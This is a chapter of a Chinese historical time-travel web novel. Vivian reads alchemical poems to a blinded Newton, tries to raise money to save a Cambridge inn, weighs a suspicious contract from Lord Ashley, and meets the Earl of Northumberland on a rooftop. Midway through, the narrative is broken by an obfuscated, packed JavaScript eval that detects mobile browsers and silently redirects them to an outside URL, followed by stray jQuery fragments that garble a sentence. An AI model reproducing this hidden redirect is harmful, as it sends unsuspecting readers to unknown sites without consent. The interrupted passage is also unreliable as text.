薇薇安为牛顿读了整整三天的诗，他的起居则由威金斯照顾。


    这三天里，她时常生出一种荒诞感——


    她的英语老师，竟然是牛顿……


    而这位老师又异常严格，偏执地纠正她，什么元音不该前移，什么gh不发音，一句一句纠正，有时一个单词会让她反复读上三遍、四遍，直到完全正确为止。


    薇薇安渐渐发现，这些诗有着严密的韵脚和音节节奏。


    想来牛顿听她的朗读，大概类似于一个拥有绝对音感的音乐家，无法忍受走音的琴……薇薇安忍不住笑出声来，但她看了那位神情严厉而暂时不能视物的“老师”一眼，又连忙掩住口，接着读下去。


    奇怪的是，这些诗毫无美感可言，甚至可以说古怪，什么野兽、玫瑰，绿狮子吃掉太阳，杂乱而荒诞。


    可牛顿却听得极认真。


    他只纠正她的发音，却从来不解释内容。但薇薇安看得出来，他对这些句子极为在意，经常会让她重复某些诗句，还喃喃自语。


    很久之后薇薇安才知道，那本所谓的诗集，其实是炼金术的密码，绿狮子吃掉太阳，实际上是指“用王水溶解黄金”，她读的诗文，在他的脑海里，都被实时转化为一场实验。


    而此刻的薇薇安正在为一个荒诞的童话笑出声。不经意间，她透过帘子的缝隙看过去，病人蒙着黑布的眼罩下，嘴角微微勾起一点几乎察觉不到的弧度。


    三天之后，薇薇安解开亚麻布，牛顿恢复了视力。


    她也终于松了口气，几乎没有停留，立刻赶回玫瑰旅馆。


    为了看着这个不省心的病人，她已经在牛顿和威金斯的客厅睡了两晚，身心俱疲，只想回到自己的小房间补觉。


    酒馆门口，多了一块粗糙的木板，歪歪斜斜地挂在那。


    出售。


    薇薇安愣住。


    “这什么鬼？”她揉了揉眼睛，难道是她这几天没休息好，看花了眼？三天前，这里分明还没有这块牌子。


    她推门进去，大厅空荡荡的。


    莉斯一见她，立刻迎了上来。


    老塔弗纳先生也慢慢站起身，脸上满是愁色。


    原来老店主前几日发病，房东认定他是“被魔鬼附身”，不但不打算续约，甚至决定将整块地产出售，只为“远离不祥”。


    “太荒唐了！”薇薇安脱口而出，“酒馆卖掉之后，你们怎么办？”


    莉斯低下头，“我不知道……”她声音很小，“也许做点手工去卖。但剑桥太小了，人不多……”


    她顿了顿，又像是在安慰薇薇安一样，勉强笑了一下。


    “也许新房东会让我们留下。”


    薇薇安沉默不语。这种可能性微乎其微。新房东多半也会忌惮塔弗纳先生。


    “那去伦敦呢？”她问，“城市大，总能做点生意。”


    莉斯摇头。


    “父亲年纪大了，不想搬。而且……我们只会经营旅馆。伦敦房租更贵，要应付的事情也更多。”


    薇薇安没有再说话。她知道，这是事实。


    更何况，在这个时代，癫痫被视为魔鬼附身是主流认识，伦敦的房东也不见得接受这对父女，


    除非——


    “如果我买下这块地呢？”


    莉斯猛地抬头。


    “我雇你们继续经营。你们不用搬，也不用重新找生计。”


    老塔弗纳先生也抬起头，两人都愣住了。


    下一刻，莉斯几乎是跳了起来。


    “真的？”


    薇薇安点头。


    “太好了，布雷特先生！”她冲过来，紧紧抱住她。


    薇薇安轻轻拍了拍她的背。


    只是她心里，并没有表面那样笃定。


    她利用阿什利勋爵的信息差赚来的钱，已经买下骑士桥的房子和肯辛顿的小屋，其余资金也投进了股票。


    现在，她需要五百镑，但她拿不出来。


    房子无法立刻变现，骑士桥那套甚至还是贷款。


    她想到去借钱，第一个想到的人是洛克。


    这个数目对洛克来说不算天文数字，但如果是现钱，也是不小的数目。


    更何况，洛克不在伦敦。从莱斯特郡回来后，洛克又去参加了另一场婚礼。这次是他的朋友托马斯医生，在索尔兹伯里，彼得也同行。


    薇薇安写信给洛克，洛克回信很快，只能先给她一百镑。


    还差四百。


    薇薇安开始四处借钱，甚至借到了牛顿那里。


    卢卡斯教授的年薪是一百英镑，而牛顿把大部分收入都投入实验，只能拿出五十。


    牛顿的信仰不允许他高利贷，薇薇安按照极低的利息打了欠条给他。


    加上她自己手头有的钱，距离买下这块地，还差三百。对普通人来说，依旧是一个难以企及的数目。


    她想到阿什利勋爵——她认识的唯一的贵族。五百镑，对他而言不过是小数目。


    可贵族有钱，却不会借钱。


    尽管不情愿，薇薇安还是回到埃克塞特府。管家斯特林格对她投来提防的目光，但还是通报了主人。


    她被带进书房。


    这是她第一次，在没有洛克的情况下，单独见阿什利。


    阿什利穿着华丽的长袍，烛光下闪闪发亮——正如她初见他时那样。


    “布雷特，好久不见。”他挥了挥手里的烟斗，“请坐。”


    “勋爵大人。”薇薇安行礼。


    听完她的请求，阿什利没有立刻回应。


    “我观察过你。”他说，“你在洛克先生身边的表现，远不止一名抄写员。”


    “多谢大人夸奖。”


    “我记得你说过你不会一直呆在洛克先生身边，上个月洛克先生告诉我，你离开了他？所以你的新计划就是买下旅馆？”


    “是，还请大人指点。”


    “与聪明人交谈总是愉快。”他淡淡一笑，“阿什福德夫人正需要一位家庭医生。如果你愿意，我可以推荐你，年薪一百镑。”


    他顿了顿，“如果你确实缺钱，我可以说服阿什福德伯爵预付三年薪水，五年合约。”


    薇薇安低下头。


    “多谢大人。可否让我考虑几日？”


    “当然。”他语气从容，“不过，我认为没有拖延的必要。”


    她抬头。“洛克先生曾经是我的主人，他目前不在伦敦。我无法在没有跟他商量之前，转投他人。”


    “无意冒犯，布雷特。”阿什利语气淡淡，“我也十分欣赏洛克先生在医学方面的才华，但我一直认为，他不该把心思局限于此，像他那样的头脑，只做一个医生，未免浪费。”


    他是在暗示，洛克应该完全为他所用？薇薇安垂下眼，没说话。


    “看来你有不同意见。”阿什利笑了笑，“无妨，你以后会明白的，好好考虑一下，机会不会一直等人。”


    谈话就此结束。


    薇薇安犹豫了三天。她写信问洛克，得到的回复很明确，让她不要接受。


    她当然知道阿什福德伯爵的名声，只是还抱着一丝侥幸，希望这是伯爵夫人的安排，她可以避开伯爵本人。


    几天后，埃克塞特府


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403802|199358||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    举行了一场小型聚会。阿什利邀请了几位朋友，其中包括诺森伯兰伯爵夫妇，阿什福德伯爵夫妇。


    薇薇安也接到了邀请，她虽然如期到来，却躲在阁楼没有出去。


    在楼下传来的琴声和笑声中，她思索着自己的处境。如果答应这个合约，她就能立刻买下酒馆。但她也会被束缚整整五年。更不用说，还要面对伯爵可能的骚扰。


    更重要的是——


    牛顿在修复设备，如果实验成功，她或许就能回到自己的时代。若遵循这个五年契约，就意味着她要多等几年才能回去。


    她等不起。


    谁知道这几年会发生什么呢？


    忽然觉得憋闷异常，薇薇安端起酒杯，顺着仆人专用的螺旋台阶一路向上爬，来到屋顶。


    以前她住阁楼的时候，这里是她的“专属观景台”，是整座建筑最高处，站在这里能俯视泰晤士河，而且基本没人会来。


    每当她想家，就会来这里散心。


    她推开嘎吱作响的矮门，意外地发现自己的“领地”有人了。


    一个纤细的身影背对着她站在栏杆旁，大半个身子探出墙外，正死死地盯着下面的泰晤士河，似乎那漆黑的河水对他有着致命的吸引力。


    听见门声，他没有回头，而是挥挥手，“下去”。


    他的声音带着一丝慵懒和厌烦。


    薇薇安内心警铃大作，往前走了一步。


    “泰晤士河里全是淤泥和城市排泄物，如果你跳下去，不会沉入河水得到安息，反而陷在恶臭的烂泥里，毫无诗意，而且不体面。”


    她说着，悄悄放下酒杯，做好了扑过去拦住他的准备。


    那人背部一僵，缓缓收回探出的身体，转过身来。


    借着阁楼里透出的烛光和头顶的月光，薇薇安看清了这个“入侵者”：他穿着紫色的天鹅绒外套，大概只有二十多岁，带着一种病态的精致，棕色的假发垂到蕾丝领口。


    他的目光从她头到脚缓缓扫过，像是在评估一个商品。“布雷特？”


    薇薇安一愣，她不记得她认识除阿什利外任何贵族。


    她的反应没有逃过那双狐狸般的眼睛，他笑了。


    “别紧张，我只是好奇，阿什福德口中那个‘有趣的小野猫’，究竟是什么样的。”


    他说话时，步子并不急，却一点一点靠近。


    薇薇安甚至闻到了他的气息。


    出乎意料，并不浓烈，也不刺鼻，反而带着一种极淡的香气，冷而干净。


    “他还说，他给了你一个提议。”那人压低声音，“而你在犹豫。”


    他的目光落在她脸上，没有掩饰他的审视。


    “所以我很好奇——你在等什么？”


    他停顿了一下，笑意更深，“更多的钱？还是——更年轻的主子？”


    薇薇安什么都明白了，所谓的“家庭医生”，不过是另一种形式的服务。


    难怪报酬如此优厚。


    薇薇安没有后退，也没有回答，而是捡起刚才放下的酒杯，转过身，“既然阁下已经不好奇下面的河水了，我就不打扰了，楼下的宴会还在继续，祝您有个愉快的夜晚。


    说完她把手放在矮门上，没等她推开，身后的声音响起，“你的大人还没允许你退下。”


    薇薇安一顿，“那么，”她语气平静，“请问大人的姓名？”


    那人轻轻一笑。


    “乔斯林·珀西。”


    薇薇安立刻放下酒杯，回身行礼。


    “见过伯爵大人。”


    他就是珀西家族的诺森伯兰伯爵。